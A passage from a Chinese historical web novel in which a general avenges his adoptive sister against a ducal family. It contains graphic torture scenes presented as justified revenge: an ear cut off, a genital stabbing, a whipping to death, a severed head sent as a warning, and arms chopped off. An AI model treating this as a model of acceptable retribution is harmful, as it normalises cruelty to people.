他不可不能不明白十四州是多少人终其一生都难以回望的故园,那里承载太多深爱,也背负着太多血仇。
这是他的责任,是千万将士的责任。
他挤出笑意,安慰何婆婆:“如今四州已归,余下的十州指日可待,婆婆当前要做的便是养好身体,以待来日返乡。”
许多事涉及军事机密,他自然不会坦然告知,但他能给这一位端午给家里送角黍、中秋送桂花糕的老婆婆一些慰藉。
何婆婆拭去眼角浊泪,轻声道:“你刚回来可知宴方的事了?可见过她了?要多陪陪她,晓得吗?”
“我知道的,待来日把宅院打理好,我便把她接下山来,以后不会再叫她受委屈了。”
“那就好,你们姐弟同心,这家便不会没落。”
萧偃低头,藏下纷乱的心绪:“那是自然。”
他与李宴方本就有一个家,但现在,这个家却不完全是他想要的那个。
闲谈后,他将何婆婆送护送回家,临别之际何婆婆念叨:“你刚回来,家里半颗米也没有,待会来婆婆家吃啊,不过多一双筷子的事。”
萧偃含笑点头,而后折返回来,开锁,做家务。
待到金乌西坠,老宅已经收拾完毕,他命人去进奏院将衣物用品等搬出,洗了澡,去何婆婆家蹭饭,回来的时候坐在大门门槛上看夕阳。
一句老话说得对极,“金窝银窝不如自家狗窝”,进奏院的官邸再好,不如老宅矮墙,一砖一瓦。
自然,自己行事也方便得多,一名亲卫打马而来,他让人进了院中。
“主子,盯着陆家的人报回消息。今早有一名国公府世子的伴读书童雇佣车马离京返乡,在半道儿上遇到谋财害命的山匪,如今书童与山匪均被我等活捉。”
萧偃冷哼:“好啊,今日事毕,正好去瞧瞧陆大公子的书童有几斤几两。”
整个京畿地区的山匪都少得可怜,此事必有蹊跷。
*
洛都城外二十余里的郊野树林中,几个络腮胡子的彪形大汉嘴里绑着布条,被反剪双手捆在树干上,具已放弃挣扎。
一名戴着玄铁兽面面具的男子出现,看守的黑衣人均对其尊敬有加,为首的大汉瞧见此情状,他便知审问的人到了。
大汉心底浮起惊骇,早知道就不接贵人的这一单,谁能知道会被一群训练有素、武功高强之人拿住?看来极难善了。
脸戴面具的男子走近,闲散淡然地问:“不知兄弟几个是那条道上的?”
这一问,让大汉误以为是同行,心里戒备少了几分:“老子行不更名坐不改姓,马蹄山清风寨霸天虎是也。”
话音未落,一把锋锐的匕首便扎入霸天虎大腿,那戴着面具的男子语调不起半点波澜。
“方圆百里都没有叫马蹄山的地方,扯谎不过是让自己多受些罪。”
那匕首沿着肌肉筋络划下,如屠夫拆骨,游刃有余。
霸天虎冷汗直流,痛入骨髓,他在极度痛苦中骤然意识到眼前人不可糊弄,只得老实交代。
“为何敢在官道上劫人?”
“我们是受了贵人之托,要杀一个人,贵人说杀了他,一车的财物也归咱们兄弟几个……若是您看得上,您尽可拿去。”话说到最后已是求饶讨好。
“贵人是谁?”
“小人不知,是雇主拿了十两黄金雇用小人,这般阔绰的大人物小人哪里见得着?小人是与贵人身边人在四和春楼达成的交易。”
“那身边人什么模样?”
“您有所不知,洛都四和春楼内有一
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个鬼市,做的都是见不得人的生意,入鬼市交易的人都改头换面……”
萧偃心底冷嘲,洛都还有这种地方?竟然没被端掉?
天下之大无奇不有,许多背上人命官司的赌坊都理直气壮地广开大门迎客来,无非就是有达官贵人在身后护着,那么四和春楼鬼市必然也满足了某些人见不得人的需求,故而被保下来。
“你劫的那人犯了什么事?”萧偃问。
“偷了主家的东西,主家不便声张,免得丢了颜面,故而买凶杀人灭口。”
萧偃思忖几息,对着蒙住面的青霜道:“将他们几个悉数灭口,再退直三十步外守候,我去审那人。”
没人知晓,面具下的双瞳,已覆寒霜重重。
被绑在另一处的书童陆仁早已经昏死过去,被绑在树下,如同一头半死不活的牲畜,毫无颜面可言。
萧偃走上去,手持匕首,在陆仁的右耳上一寸一寸来回切割,切肤之痛下,昏死的陆仁骤然惊醒。
陆仁在感受火辣辣的痛楚之前,被映入眼帘的一张狰狞兽面吓得惊恐万状,黑暗的林中,那兽仿佛从地狱血海中一跃而出,要将他剥皮抽筋,割肉削骨。
一声尖利的叫声吓飞归巢的群鸟。
在陆仁发出痛呼之时,萧偃已经将他的右耳干脆地割下,鲜血淋漓的耳朵跌落至陆仁身上,陆仁不寒而栗。
“老实交代所犯何事,鄂国公府的人保不了你。”
面具下的冷厉诘问传来,如恶鬼低语,死气缠绕。
陆仁到底在鄂国公府里混过十几年,如何不知晓眼前什么处境?
鄂国公府的人可不只是不想保他,怕是想杀了他灭口!而眼前之人究竟是何方神圣?能否从他手上捡一条命?他忐忑不安,胡乱猜想。
陆仁强忍着面上的疼痛,颤巍巍地开口:“敢问阁下与鄂国公府有何关系?”
萧偃气定神闲地半蹲在他面前,玩笑似地答道:“仇人。”
“当真?”
陆仁乍然露出喜色,若是对方也恰好是鄂国公府的仇人,叫他知晓丑闻,国公府那些高高在上的主子就会身败名裂……
“血海深仇,”萧偃笃定,“你就算不乐意说,我也有千万种法子叫你老老实实说来。”
面具下的墨瞳锁住陆仁的另一只耳朵,那森冷骇人的眸光近在咫尺,叫陆仁肝胆俱裂。
陆仁目光扫至跌落的血耳,惧怕地问:“阁下与世子陆韫之夫人可曾相识?”
藏在兽面后的双眼变得晦暗阴沉,嗓音充满危险的寒意:“我对她,恨之入骨。”
此话带不得半分假,在说出的那一瞬,萧偃竟察觉到一分无法与人道的酣畅快意。
他确实该恨她,恨她弃他而去,恨她不识好歹,恨她铁石心肠。
不曾想,陆仁得到这句肯定的答复,如蒙大赦!
与鄂国公府有仇,与李宴方有仇,那他说起来便没什么顾忌了。
“有人要杀我,是因为我知晓鄂国公府的一桩丑事!陆韫之身患不举之症,他弟妹有喜,他担心被夺了世子之位,所以他叫旁人与世子夫人珠胎暗结,偷梁换柱!”
“当真?!”
眼前的人影身形一顿,好似遭受震天动地的重击,将他周身由恨意凝结而出的铠甲捶打成裂片,洒落一地,狼狈不堪。
12. 拜访
萧偃大脑有一瞬的空白,如天穹炸裂,金乌爆体,世上的万事万物都被笼罩于漫天彻地刺目白光中。
绝望,恐怖。
脑袋中轰然回响起那霸天虎的话——偷了主家的东西。
“东西”二字在挑起他全部的愤怒,胸膛内一股强大迅猛的怒气洪流直冲天灵盖。
他无比珍视的人,在鄂国公府眼里竟然只是一、件、东、西!
萧偃勉力维持身形,低沉森寒的嗓音中藏不住愤怒与仇恨:“是陆朴担心你泄密,派人来杀你?”
被吓破胆的陆仁早已经经不起他的套话,从实招来:“并非,陆朴尚不知情。”
“若是他知晓国公夫人徐氏与陆韫之想出此等混淆陆氏血脉的诡计,一定会将国公夫人灭口。近年来他愈发重视庶出的二公子陆怀,正愁没法把妾室扶正。”
面具之下的人不言语,陆仁以为是这个答案没能叫他满意,为求一线生机,他便如倒豆子一般,把自己心中的所有猜测都一一道来。
“杀我的人极可能是国公夫人,陆韫之想出计策后先告知了她,得到她的首肯和协助,然后告诉李氏要实施!谁知道陆韫之那个不争气的怎么就突然死了……国公夫人为了事情不暴露,为了保住她的正妻之位,将我灭口!”
陆仁简直要把毕生的才智都用到推理上,试图交出一个令对方满意的答案。
“不对,不对,是李氏!国公夫人还给财物叫我返乡远离是非,一定是李氏!”
“陆韫之先前虽然常服药石,但并不至于走到灯尽油枯的地步,为什么偏偏是计划开始实施的时候,陆韫之就‘踏火登仙’而死?!不可能,他身子要是真熬不住,一定会提前实施计划,而不会等到现在。”
“没有那么巧,他的死一定是李氏所为!”
陆仁脸上闪过惊骇与恐惧,陆韫之刚死的时候他担心事情败露,整日惴惴不安,只想着如何敛财逃窜,根本没细想,那个看似柔弱顺从的女人竟然敢下杀手,不仅杀了人,还想瞒天过海,抽身而退。
念及此,陆仁冷汗涔涔流下,流经耳上伤口,一阵刺骨的疼痛传来,与他心中的后怕一道折磨着他。
“我不过只是摸了她的手而已,她竟然要杀了我!对,一定是是她雇凶杀人!”
“她连同床共枕三年的陆韫之都敢杀,还毁尸灭迹,挫骨扬灰,真是行事周密,不留痕迹!她真是一条潜行在草木间,趁你不备就给你一口,要你五步必亡的毒蛇!”
“她那细润光洁的皮肤,冰凉滑腻的触感,真像毒蛇的细密鳞片啊……”
他抬起头仰视戴着面具的男子。
“你若是想要她的命,大可借陆朴之手,他纵然不满陆韫之无用,也绝不可容忍歹如毒蛇的李氏杀害自己儿子,欺瞒国公府上下!”
夕阳坠下,天色由暗转黑,密林中的冰冷苦寒无孔不入地涌来。
恩师范国公曾赞萧偃颇有“面如平湖而胸有激雷”之风范,便是夸他情绪控制得当,不易被外人窥探。
但现在,他不知道应该如何在这个消息面前保持冷静,仿佛那颗心已经死了,不再跳动了,他由心而生的愤怒深恨才被遏止。
原来过去的三年当真无法被抹杀,竟是这个缘故!
怨毒之极反而骤生笑意,萧偃冷笑一声,问:“你还知道什么?”
陆仁搜肠刮肚,仔细回想:“李氏家中的人都已经死了,听说还有个从军的弟弟,音信全无,大抵也是死透了。”
“若尊驾与她有仇,大可以放心下手,她一个寡妇想来掀不起什么风浪,把她卖至烟花之地,受尽凌辱,方能解尊驾心头之恨……”
陆仁的小人行径暴露无遗。
那个高傲冷淡的才女,不可亵玩的佳人,终究要被踩到污浊肮脏的泥泞里,矜傲的头颅彻底垂下,求生不得求死不能。
唯有她下了地狱,被折磨得遍体鳞伤,才对得起自己被削掉的一只耳朵。
正是他暗爽之时,两腿之间的剧烈疼痛瞬间燃遍全身,那股焰火愈演愈烈,几乎要将他吞噬殆尽,烧得只剩一具烂骨头!
陆仁面如金纸,嘴唇更是在一刹间发白发紫,丢尽血色,他一低头,是那头戴面具的男子用匕首刺断要害,这一刀不仅准确无误,更是变作木杵,捣烂血肉。
陆仁只余一双眼直勾勾盯着萧偃,是惧,是惊,是骇。
心中掀起惊涛骇浪的萧偃缓缓开口,字字诛心:“我就是你口中那个死透的弟弟。”
腌臜的鲜血与骚臭的尿液一并涌出,疼痛难耐的陆仁发出尖利吼叫,萧偃方才听到他一张恶嘴是如何轻慢李宴方时已经忍无可忍,怒火中烧,如今再也容不得他发出半个字的响动。
那把刀身浸满秽浊液体的匕首,被怒火攻心的萧偃自陆仁惊愕的口中刺入,扎透舌头,刺穿下颌。
果然如死寂一般,不动了。
萧偃起身,只觉得天旋地转,时光混乱,他几乎是站不稳,眼疾手快地扶住一旁的树干,大口大口地呼吸着。
他回想起李宴方稳如泰山的模样,她受了这么大的委屈怎么还能保持如此镇定?
到底这三年来她经历什么才把她变成毫不动容、冰冷疏离的模样?
怪不得,他在上清观见到她时觉得她缺乏生气,原来这就叫“哀莫大于心死”,她的心,早先一刻比他的心先死去!
他的阿姊,已然很平静地疯了。
萧偃从腰后抽出马鞭,对着奄奄一息的陆仁一道一道抽去。
夜色笼罩的林间有一点点月光漏下,呜呼哀哉的惨叫声渐渐止息,被捆在树干上的尸首已经血肉模糊,白骨嶙峋。
他根本没细数一共要抽多少鞭才能把人活生生抽死,才能把一具尸体抽成被野兽啃食后般狼狈,他只知道此举仍是难以泄心头之恨!
马鞭被他丢弃,一拳打在比碗口粗的树干上,绿树颤抖不止,抖落他一身的枯枝败叶。
他似是不觉,一拳,又一拳,直到手背鲜血淋漓,木屑深入血肉。
不够痛,比不上此刻心痛。
萧偃抬头,寂夜星空月高悬,传说天神居于天宫,若是世人虔诚礼拜,天神便会满足世人的愿望。
那么他呢?
他一个满身杀业的人,若是求诸天神佛,祂们可会把他的阿姊,他的明月还回来?!
星河沉寂,天穹不语。
萧偃哂笑,有朝一日他竟也会求神拜佛?
只是连他也说不清,他到底是笑自己,还是笑尚未显灵的神佛。
真是疯了。
神佛若是不渡,那么他就来当翻涌血海之中一艘航船,他的阿姊,他来渡。
鄂国公府,且待他踏平!
*
日出之时,天光熹微,洛都城门大开,萧偃不紧不慢地打马回城。
半个时辰前,作恶多端、谋财害命的霸天虎等人已被处理干净,而已成一滩烂泥的陆仁被萧偃割下头颅,他唤来豢养三载的鹰隼,鹰隼趁着天色尚暗,领了他的命振翅而飞。
萧偃策马回金桂巷旧宅,更衣洗漱
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,浅眠几刻,今日无朝会,待到隅中,他亲自前往鄂国公府拜会。
鄂国公府的门庭豪阔,大门开启的一瞬间,雕琢精美的影壁被萧偃尽收眼底,福禄寿三仙,他陆家配得上这彩头吗?
他唇角轻笑,姿态悠闲不迫,连指引门房都觉着年纪轻轻的萧侯当真好脾气,一点都无沙场悍将的凶戾之气。
待至内院,外门的阔气高贵丝毫不见,反而是仆从心神不宁,惊恐连连,人来人往地奔跑疾走,让这名门朱户的院落显得杂乱无章。
“不知发生了何事?是萧某拜会陆公爷的时机不对么?”萧偃顺势拉住一名仆从问话。
他神态虽散漫,但凤眼锐利,自带一股不怒自威的气度,叫那人愣怔了几瞬。
仆从尚不知此人身份,便瞧向身后的门房,那门房眼神暗示他,待他瞧见金蹀躞,才知此人乃舞阳侯萧偃。
他在十月底的天里突然生出一层热汗来,支支吾吾道:“府中发生了些时事,请侯爷稍后,小人去向公爷禀报。”
“难道是宅中私密之事,本侯探听不得么?若是这般为难,那本侯只能打道回府,改日再登门。”
话音未落,仆从心头忐忑,他万万不敢擅自做主替陆朴拒舞阳侯于门外,只得道出实情,求舞阳侯留下,以待陆朴前来料理。
“府中确发生了意外之事,徐夫人得了急病,正四处寻医。”
萧偃心知计成。
天未明时,鹰隼送来陆仁头颅,得知事情来龙去脉徐夫人见陆仁头颅,便知自己计谋被人阻扰,功败垂成。
她深夜见此惨状,头颅被神不知鬼不觉地送回鄂国公府,唯有鬼神之说能解释,她做贼心虚,八成是失心疯了,至于那剩下的二成,则是为了逃避陆朴的追问而刻意装疯卖傻。
无论真疯假疯,她都不可能高枕无忧地继续做鄂国公夫人,到时候萧偃也不介意送她一程,早做了断。
那个秘密也将永远被埋葬,他的阿姊不必再因此事而难堪。
萧偃目光越过前厅望向后宅,却发现面色不佳、心绪不宁的鄂国公陆朴正赶来,抬手示意仆从将萧偃请入正厅,端茶倒水。
不愿暴露家丑的陆朴坐于主位,强掩疲惫与烦躁:“不知舞阳侯到访,老朽有失远迎。”
“不敢劳陆公爷亲迎,萧某今日前来,是为致歉。”
言辞之间颇有几分谦逊与歉意,但未约定时机,未手提歉礼,没有半分真心道歉的模样。
萧偃那双长得极勾人的凤眼淡淡扫向满面雷云的陆朴,开门见山道。
“前日萧某带人前往上清观,将公爷派驻的护卫都换下来,我阿姊已非陆家媳,担不起国公的爱护,既然我这个弟弟有命活着回来,便自作主张替陆公爷做了决定,还望陆公爷见谅。”
陆朴早已经知晓此事,只觉底下人办事不力,为了挽回些颜面,严词道。
“李氏入我门三载,知书达理、持家有道,府内上下皆敬重爱重于她,只是我儿福薄,消受不起。我赠她财帛护卫,无非祝她来日嫁个好人家。不过萧侯为她义弟,既然已插手,我也不便再置喙。”
弦外之音便是黄毛小子不知规矩,狗咬吕洞宾不识好人心。
“陆公爷心胸开阔,不计前嫌,萧某还要多谢陆公爷金口玉言,若将来阿姊的好婚事有了着落,必来登门拜谢。”
萧偃似是不懂暗示,起身拱手,拂袖而去。
陆朴望着萧偃离去的背影,心头浮现一计:萧偃如此珍视李宴方,不如以其为饵,诱他入局。
13. 克制
萧偃返回金桂巷旧宅后,第一眼看到的就是站在门口与邻里寒暄的慕容修。
人来人往的巷子内出现一位书生模样打扮的年轻人,引起不少人好奇,恰好慕容修是个舌绽莲花、毫无架子的“江湖骗子”,极快地与路过的百姓打成一片。
“你怎么来了?”萧偃下马,掏出钥匙开门。
慕容修送走正聊得火热的阿婶,满是笑容的脸突地一变,咬牙切齿道:“萧兄弟,你知不知道你从院里搬走之后,沾你的光才得占方寸四壁的‘小跟班’就被扫地出门,睡天街!”
他知萧偃不欲暴露身份,便把进奏院的“进奏”二字抹去,把“幕僚”换作“跟班”。
进奏院不至于要给萧偃身边的人脸色看,虽然话夸张了些,但慕容修自知那里并非长久容身之处,故而来寻他,跟邻里们闲话的时候,只说自己是他在北境结交的故友,上京前来投奔。
萧偃推开旧宅大门,引着慕容修入院,慕容修打量一番。
“主屋定为令尊萱堂所居,东西两侧一大一小的房屋当时你们姐弟一人一间,看来我是逃不掉睡大街的命运了。”
萧偃白了他一眼,这人虽有时颇不着调,但眼力见儿并不差。
“怕你睡大街冻死,你出城去住我进城前租下的房子,亲卫也暂居于院内,还能顺便保你安危。”
慕容修一脸动容,差点就痛哭流涕:“要不是怕伤了萧侯的颜面,我恨不得日日去催促工部,让他们尽快把太后赏赐你的宅邸修缮好,唯有萧侯住得舒坦,我才能在这洛都‘白居易’啊。”
见萧偃不接话茬,慕容修又道:“催得快些,令姐也能早日下山,不是吗?”
慕容修已经摸清萧偃的脾性,同一件事以他的角度说来,他未必在乎,但是换成他阿姐,他便在乎。
慕容修倒是乐了,这世上竟然还有一人能管束着他,真乃奇事。
为了让自己早日过上安居乐业的好日子,慕容修果断把李宴方搬出来。但兴致不高的萧偃面色变得更为凝重。
心思活络的狗头军师心道:坏了,这一把双刃剑,第一道口子怕是要先割着自己。
但这把剑没砍下来,而是砍到心力交瘁的萧偃身上,他苦叹一声:“宅邸最晚在年前交付,还余一个月的光阴,只是……我尚不知如何面对她。”
更何况,朝夕相处。
来龙去脉他已弄清楚,本该高兴,却十分无力,他只是痛恨自己为什么不能早些回来,若是早些回来,阿姊便不用遭此劫难了……
至于将来,他徒然生出望洋兴叹的辛酸惆怅。
慕容修揶揄道:“这不符合你惯有气性,想必是‘关心则乱’,倒不如说情爱一事最是磨人,让一位常胜将军吃了败仗。”
自抵达洛都以来,萧偃在慕容修面前从未回避过他对李宴方感情,慕容修便懂得他的势在必得。
且按照萧偃的性子,将来定要风光大婚。凡尘俗碍,于他而言不过过眼云烟。
但萧偃此时此刻的退步迟疑反倒让慕容修坚信了他用心之真与用心之诚,他对李宴方的情意,绝非一时意气所致。
“欲,是进攻;爱,是克制,”慕容修摇头又点头,“哎呀,我慕容修真是天才军师,一不小心就窥探到感情的真意……”
慕容修虽不知前因后果,但却误打误撞下对了判词,萧偃瞧他那得意的模样恨不得把他丢出门外,让他睡大街。
萧偃反唇相讥:“你一个未经情爱只懂钻书缝的家伙不过是纸上谈兵罢了。”
“你懂什么!这叫当局者迷,旁观者清……”
心烦意乱的萧偃打断他即将开始的侃侃而谈长篇大论,安排了个差事给他。
“我看你是闲得慌,城西有楼名为四和春,据说它地下有一鬼市,专做见不得光的生意,我怀疑外贼是以四和春楼为据点,你去查一查。”
慕容修闻声后立刻收敛了志得意满的小神情。
他们早在抵达洛都之前便追查这一条线,但是对方做得实在隐秘,好几次找到线索都立刻被斩断,若是真有一个阻隔“人间”的神秘鬼市,那么极有可能就是藏污纳垢之所。
“得令。”
慕容修正要出门,一头撞上前来报信的亲卫,那亲卫步履匆匆,神色严肃,约莫是要事。
那亲卫道:“上清观传讯而来,今晨卯时,李夫人遇袭……”
“什么?”萧偃匆忙起身,急切道,“我去看看!”
说罢,身形如被狂风卷吹一般踏出了门。
*
一夜的光阴,足叫萧偃查明真相,除去陆仁,设计徐熙,掩盖秘密,但也足以叫上清观经历一场突如其来的惊心动魄。
萧偃快马加鞭至上清观时,紫电已率人在院前跪迎
“属下等无能,险些铸成大错,请主子责罚。”
紫电等人清楚,主子何等看重院中的女子,他们差一点就得提头来见了。
唯有山间风声不辨情状,依旧来去吹拂枝桠,弄出沙沙响声。
正在紫电等人焦灼地等待发落,却听身后传来一阵如冰击翠玉的嗓音。
“如萧侯先前所言,紫电等人的职责是守护我的安危,既然我无事,你又何必惩处他们几人?”
李宴方自内院中走出,如乘风而来的仙子,身姿翩然,步伐轻盈,她依旧一身素衣,只不过头上不再戴绢花,而是在发髻上缠了一条缠枝兰花纹的云水蓝色丝缎,再别以两支云纹羊脂玉簪。
她无恙,加之那多惨白的绢花已无影无踪,这倒让萧偃心情好些,想到将来紫电他们与李宴方打交道的时间不会少,故而卖一个人情给她也是极好的。
“既然李夫人开了金口,就免了吧。”
紫电一行人齐声道:“谢李夫人,谢主子”。
他阔步上前,行至她身边:“听闻阿姊在审问那几人?”
她点点头,转身:“有些事我要与萧侯说明。”
萧偃心仿佛被揪紧,阿姊莫不是眼见东窗事发,要将旧事给他说明?
那该叫她多心痛?
他宁可不要亲耳从她口中听到一言一行的事情经过,这不也是把他架在烈火上炙烤?
她痛,他势必会跟着痛。
可若是他承认已知缘由,岂不是更叫阿姊难堪?
不过三两步,他心中的思绪已经纷乱,他身形微顿,颤声打断:“阿姊,不要叫我萧侯,好不好?”
李宴方停步,侧过身,言中不辨喜怒:“好啊,萧凭陵。”说完便头也不回往看押贼人的小屋走去。
屋外有两位守卫,见主人至,恭敬地请人进入。
那为首的已经在李宴方审问后被敲晕,如今萧偃前来,守卫泼了一桶冷水,将为首的弄醒。
“将你所行之事从实交代。”
李宴方冷冷开口,立于他面前。小头目抬眼,那一股被毒蛇猛兽盯上的恐惧感和窒息感再度袭击心神,肝胆震颤。
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小头目实在是想不通,为何她一个清冷似月宫仙的美人,下手竟然如此狠辣,最初他存心隐瞒,但他话音刚落,她便让守卫齐整地剁下跟着他、一起做事的弟兄们的右臂。
三条血淋淋的臂膀落地,头目才知她一旦识破,连反问与听人辩解都不屑,竟然是直接动手,比道上的某些人物还心狠手辣。
他只得招供,此时更是不知她葫芦里卖的什么药,只得胆颤心惊地据实复述。
“两日前有人在四和春楼鬼市与我做了一单生意,买凶杀人,价格是二十五两金。”
“那人的目标正是眼前这位夫人,提出的要求则是让她死在上清观,伪造成贼寇入室、杀人夺财的假象,还告诉我等这位夫人拥有的地契、金玉等财物,得手之后,尽归我等。”
“只是雇主在鬼市中都遮掩身份,有鬼市作保,我不知道背后是什么人。”
“雇主要求我们今晨夜里动手。我们从隐蔽的小道爬上山来后就在上风向吹迷香,一炷香后我们以为守卫都被迷倒了,就进入院落中准备灭口,却不想守卫都是佯装中计,打得我们一个措手不及……”
他以首触地,磕得砰砰响:“小人上有八十老母,下有五岁小儿,在鬼市中替人卖命皆是生活所迫,求两位大王开恩,饶小人一条生路吧!”
小头目小心翼翼地抬头打量,女大王心狠毒辣,就是不知道新来的男大王是否心地善良,他渴盼着男大王能留条活路。
可稍稍抬头,他就见到一双如寒冬日光一般的眼瞳,光芒刺目却不带半点温度,那一张俊朗似玉琢的脸更是覆满寒气与杀意。
小头目目光与他触碰的瞬间,便胆寒地低下头,只觉身上寒衣单薄,捱不住这入骨的冷意,唯恐这两位大王一合计就下令把他大卸八块。
他将头埋得更低。
萧偃嘴角抿得极紧,若是他不早一步把守卫全换作自己的亲卫,那么今时今日,见着的岂不就是一具冰冷的尸首?
心头的侥幸后怕、愤怒仇怨接踵而来,汹涌的情绪下,差点叫他当着阿姊的面把小头目的头拧下来。
他寒声道:“北境为防外敌入侵连年征兵,你四肢俱全,懂些三脚猫的功夫,若前往,军饷供你糊口不在话下,但你到底是怕死而已,所以投鬼市做杀人放火的勾当。”
“心怀鬼胎,满口谎言,拖下去斩了。”
亲卫得令,将头目拖走。
萧偃心忖,应当同是徐夫人买的凶,源头、办事时机所差无几,只是徐夫人太过急切,尚不知上清观的护卫早已经被他换掉。
但心头疑惑升起,这两批人是否知晓彼此的存在?那件事的知情人究竟有多少?萧偃暗握紧五指。
此时,小屋内只剩李宴方与萧偃二人。
“萧凭陵,多谢你,若是无你,鄂国公府的护卫再与杀手内外勾结,我若要应对想必不易,倘若运气稍差些,只怕已经身首异处,让人拿去交差了。”
她微微侧身,疏离冷淡的面容上有些许柔情。
萧偃一听,心中柔波泛起:“阿姊莫要言谢,阿娘说我们姐弟要互相扶持,不是吗?”
李宴方轻叹:“你聪颖拔群,见着这一遭也当明白,鄂国公府有人要取我性命。我想也该是时候分道扬镳,免得你受我牵连。”
屋内寂静无声,良久,萧偃蓦地发笑。
“阿姊言辞郑重地来感谢我,就是为了要和我划清界限?让我知晓歹人计划,就是要我知难而退?”
14. 捆绑
四下无声,眼前人呼吸的一张一弛都显得格外突兀。
沉默得太久,久到李宴方心里起毛,她确实不愿意初归洛都的萧凭陵扯入其中。
既是不希望鄂国公府内那些腌臜事叫萧凭陵知道,又是因他木秀于林,多一事不如少一事。
只是,她越来越摸不透萧凭陵的脾气了。
难道男人都那么变化无常吗?陆韫之尊严受损,也算能猜测推断,敬而远之,那么他是因为什么?
萧偃若是知晓李宴方在将他与陆韫之比较,只怕心中仅有的委屈都要彻底变为滔天怒火,他本来只是觉着,他一腔真情地要与她同生共死,而她竟然说什么连累不连累。
她不知道两人注定要捆绑在一处。
“你明明知道,我不会离开你,”他狠狠地哼一声,“献捷当日夜里,太后于麟德殿设宴,宴上我已将易名之事呈告,太后并未动怒,那时鄂国公陆朴亦在场,早已知你我二人关系,现在才说要撇清,太晚了。”
比她高半个头的萧偃一幅死猪不怕开水烫的模样,欺身过来,咬牙切齿在她耳边低语。
“若是有朝一日你我之中一人犯下诛九族的大罪,我与阿姊必然一道赴黄泉,尸骨被丢弃在乱葬岗中,夜里一齐等着被野狗刨!”
生不能同衾,死得以同穴,倒也算善终。
李宴方耳边盘绕着温热的气息,但也回荡着森冷的言辞,让她一颗心止不住的轻颤。
那要如何?叫他杀了陆朴以绝后患么?
若是问李宴方有没有私心,当然有,她巴不得陆朴死,这一趟刺杀就算不是陆朴亲自指示,也定然是鄂国公府所为,只有陆朴和徐熙都死了她的旧账才不会有人去翻阅。
但北境战事未绝,朝野内若是出了大案必然掀起风波,他要是因此被牵扯进来,坦荡无量的前途只怕要生岔蒙尘。
李宴方长叹,最近的事情来得太急太密太纷乱,若是他早一些回来,或者他不改名行事,她便能另作布局。
可人算不如天算,鄂国公府的人才不会多给她几日弄清楚,那陆仁巴不得早些欺到她头上来了……
她既悔且恨:“你当初为何更名?此事本该转圜余地,陆韫之不死,也不至于陷入不死不休的地步。”
李宴方细长黛眉纠结成乱麻,秋水瞳中波澜兴起、仇怨百转的样子被居高临下的萧偃尽数收入眼底。
他本因为李宴方不信任他的真心、质疑他的能力而愠怒,如今见她大大方方在眼前提及陆韫之的死,便知她不欲再瞒他此事,心海中澎湃的怒潮渐渐退却,抿死成一线的唇角也恢复了笑煞春风般的风流意态。
他轻声,一点似有若无的缱绻缠绵之意藏于其间:“‘偃’是范国公赐字,那时我只是军中小卒,无由拒绝,久而久之军中便以此为名,传回来的自然也是萧偃二字。我以为阿姊会从战术上认出我的,这些法子我们很早以前就讨论过,批亢捣虚之法。”
萧偃其名自收复应州、莫州之战后威扬,在这场战役中他使用批亢捣虚的战术,即为扼住敌方要害,避实而击虚。
他率三千人马避开驰援莫州的北戎援军,以高强的机动性转扑相邻应州,从而使援军出援应州,他在应州山地之中将两万北戎人马伏击,北戎援军受大挫,进而使围困的莫州范国公一举拿下莫州,他乘胜追击拿下应州,待莫州援军至,两州互为倚靠,进而攻下青州、云州。
李宴方听完,五味杂陈,淡然且无奈道:“有一则轶事,宋朝嘉祐二年科举欧阳修担任主考官,见《刑赏忠厚之至论》鞭辟入里,字字珠玑,本以为第一,但念及其可能为学生曾巩所作,为避嫌求公,便定为第二,谁知放榜之后才知为苏轼所作。”
她一抬眼,对上萧偃似懂非懂的眼神,略带怨怼不忿。
“我可不敢像欧阳修一样,瞧见个出色的人物就以为是自己的阿弟,欧阳修名垂千古,而我有什么?到时候弄出笑话来,岂不是成了全洛都的笑柄?你若寄一两封家书来,便什么事也没有了。为何不寄家书?怨恨我么?”
萧偃凝望她,回想起三载的远去,他清楚记得自己怀着一股怎样深重愤恨北上,那几乎成为他对抗刀枪利刃的护身软甲,他告诉自己,无论如何都要活下去,风风光光地活着回去,让她后悔。
可是洛都变化的战局比他预想的更为残忍无情,她被卷入其中,待到他凯旋封侯之时,一切设想都无法践行。
是他后悔了,他应该早些告诉她,如此,陆家也不敢再将她视为好难捏的软柿子,事情就不会变成现在这副模样。
“我后悔了。”他沉冷的嗓音中有明显的涩意,不通达,凝稠,微苦。
“罢了,都过去了。”
李宴方强迫自己不再去看他那一双幽深、冰冷,饱含莫名情绪的双眼,她想,他就是怨恨她的。
她并非沉湎过去之人,眼下鄂国公府已经留不得她了,虽然短期之内不见得会再起风浪,但长久之计总要考虑,唯今之计只有杀掉陆朴徐熙才能彻底杜绝后患,可堂堂鄂国公与其夫人,那么容易露出破绽?
况且,她还不能为私仇把萧凭陵彻底拉进去,如何把握尺度也是需要头疼的问题。
她与萧偃各自思量,都觉得眼下并非坦诚的时机,互不透露,而萧偃是想如何进一步获得李宴方的信任,斟酌道。
“那杀手提及的四和春楼,我瞧着有蹊跷,先前我追击潜入洛都的北戎贼寇,三番几次都失去音信,一想到这洛都内还有我不曾知晓的暗处,便怀疑起来。”
“北戎破天荒地要和谈,想必不安好心,你多留意些也是情理之中的事。”
李宴方想起不久后会有北戎王子前来洛都,便知这洛都的天怕是要风云骤起了。
她话音未落,便见萧偃右手中变出一物,被他托在掌中。
“什么时候受的伤了?”
李宴方似是不曾看见他手中的半块玉珏,只将横亘掌心的绷带看在眼里。
萧偃突然做贼心虚,这样的小伤,他几乎已经忘了,但阿姊应当还不知晓陆仁已死的事情,他决计不能在这时和盘托出,垂眸道。
“练拳的时候不小心的。这半块玉珏是动用亲卫的信物,我把它交给阿姊了,接下来,我要遵循太后的旨意扩充飞捷军,只怕会忙得脚不沾地,阿姊有了它,大可防备鄂国公府。”
“那是你的人马,我不能堂而皇之地拿来,更何况它在我手中,你怎么办?”
萧偃本想一步试探阿姊对他的接受和信任程度,但她拒绝也是他意料之中,继续说服她:“放心,他们认我的脸。阿姊,我求你
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了,你拿了去吧,我只是担心陆朴那老贼下绊子。”
李宴方无奈摇头,也是诧异,这样一个在沙场上独当一面的人竟然还能这般胡闹:“未必是陆朴,将来或许是旁人了,我遇袭的事情必须压下。”
萧偃幽深的黑眸一沉,瞬间懂得李宴方的意思,暗道阿姊的心思转得果然快,将来极有可能有人将舞阳侯与鄂国公府之间的矛盾挑起,而孀寡的李宴方就做那“冲冠一怒为红颜”的替罪羊。
